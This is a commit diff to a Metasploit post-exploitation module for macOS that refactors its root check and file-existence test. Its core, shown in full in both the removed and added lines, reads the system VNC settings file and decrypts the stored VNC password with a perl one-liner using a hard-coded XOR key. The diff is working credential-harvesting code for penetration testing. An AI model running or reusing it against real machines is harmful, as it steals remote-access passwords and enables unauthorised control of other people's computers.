add new functiom

added checking directory of VNC

modules/post/osx/gather/vnc_password_osx.rb

@@ -7,6 +7,7 @@ require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
   include Msf::Post::OSX::Priv
+  include Msf::Post::File
 
   def initialize(info={})
     super( update_info( info,
@@ -31,18 +32,19 @@ class MetasploitModule < Msf::Post
     end
 
     print_status("Running module against #{host}")
+    
+    unless is_root?
+      fail_with(Failure::NoAccess, 'It is necessary to be root!')
+    end
+    print_status("This session is running as root!")
 
-    if is_root?
-      print_status("This session is running as root!")
-      print_status("Checking VNC Password...")
-      exist = cmd_exec("if [ -f /Library/Preferences/com.apple.VNCSettings.txt ];then echo 1; else echo 0; fi;")
-      if exist == '1'
-        print_good("Password Found: " + cmd_exec("sudo cat /Library/Preferences/com.apple.VNCSettings.txt | perl -wne 'BEGIN { @k = unpack \"C*\", pack \"H*\", \"1734516E8BA8C5E2FF1C39567390ADCA\"}; chomp; @p = unpack \"C*\", pack \"H*\", $_; foreach (@k) { printf\"%c\", $_ ^ (shift @p || 0) };'"))
-      else
-        print_error("The VNC Password has not been found")
-      end
+    print_status("Checking VNC Password...")
+    vncsettings_path = '/Library/Preferences/com.apple.VNCSettings.txt'
+    if file_exist? vncsettings_path
+      password = cmd_exec("cat #{vncsettings_path} | perl -wne 'BEGIN { @k = unpack \"C*\", pack \"H*\", \"1734516E8BA8C5E2FF1C39567390ADCA\"}; chomp; @p = unpack \"C*\", pack \"H*\", $_; foreach (@k) { printf\"%c\", $_ ^ (shift @p || 0) };'")
+      print_good("Password Found: #{password}")
     else
-      print_error("It is necessary to be root!")
+      print_error("The VNC Password has not been found")
     end
   end
-end
+end